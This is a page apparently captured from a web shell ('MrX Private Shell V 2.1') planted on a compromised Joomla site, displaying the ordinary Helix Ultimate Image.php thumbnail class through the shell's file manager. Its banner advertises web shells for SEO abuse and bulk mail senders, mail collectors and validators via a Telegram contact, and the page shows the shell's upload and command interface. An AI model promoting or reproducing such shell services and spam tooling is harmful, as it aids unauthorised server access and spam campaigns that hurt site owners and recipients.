__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <[email protected]>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

namespace HelixUltimate\Framework\Platform\Classes;

defined('_JEXEC') or die();

/**
 * Image manipulation class.
 *
 * @since	1.0.0
 */
class Image
{
	public static function createThumbs($src, $sizes, $folder, $base_name, $ext, $quality = 100)
	{

		list($originalWidth, $originalHeight) = getimagesize($src);
		$ext = strtolower($ext);

		switch ($ext)
		{
			case 'bmp':
				$img = imagecreatefromwbmp($src);
				break;
			case 'gif':
				$img = imagecreatefromgif($src);
				break;
			case 'jpg':
				$img = imagecreatefromjpeg($src);
				break;
			case 'jpeg':
				$img = imagecreatefromjpeg($src);
				break;
			case 'png':
				$img = imagecreatefrompng($src);
				break;
		}

		if (!empty($sizes))
		{
			$output = array();

			if ($base_name)
			{
				$output['original'] = $folder . '/' . $base_name . '.' . $ext;
			}

			foreach ($sizes as $key => $size)
			{
				$targetWidth	= $size[0];
				$targetHeight 	= $size[1];
				$ratio_thumb 	= $targetWidth / $targetHeight;
				$ratio_original = $originalWidth / $originalHeight;

				if ($ratio_original >= $ratio_thumb)
				{
					$height = $originalHeight;
					$width = ceil(($height * $targetWidth) / $targetHeight);
					$x = ceil(($originalWidth - $width) / 2);
					$y = 0;
				}
				else
				{
					$width = $originalWidth;
					$height = ceil(($width * $targetHeight) / $targetWidth);
					$y = ceil(($originalHeight - $height) / 2);
					$x = 0;
				}

				$new = imagecreatetruecolor($targetWidth, $targetHeight);

				if ($ext === 'gif' || $ext === 'png')
				{
					imagecolortransparent($new, imagecolorallocatealpha($new, 0, 0, 0, 100));
					imagealphablending($new, false);
					imagesavealpha($new, true);
				}

				imagecopyresampled($new, $img, 0, 0, $x, $y, $targetWidth, $targetHeight, $width, $height);

				if ($base_name)
				{
					$dest = dirname($src) . '/' . $base_name . '_' . $key . '.' . $ext;
					$output[$key] = $folder . '/' . $base_name . '_' . $key . '.' . $ext;
				}
				else
				{
					$dest = $folder . '/' . $key . '.' . $ext;
				}

				switch ($ext)
				{
					case 'bmp':
						imagewbmp($new, $dest);
						break;
					case 'gif':
						imagegif($new, $dest);
						break;
					case 'jpg':
						imagejpeg($new, $dest, $quality);
						break;
					case 'jpeg':
						imagejpeg($new, $dest, $quality);
						break;
					case 'png':
						imagepng($new, $dest);
						break;
				}
			}

			return $output;
		}

		return false;
	}
}

Filemanager

Name Type Size Permission Actions
Image.php File 2.6 KB 0664
Filemanager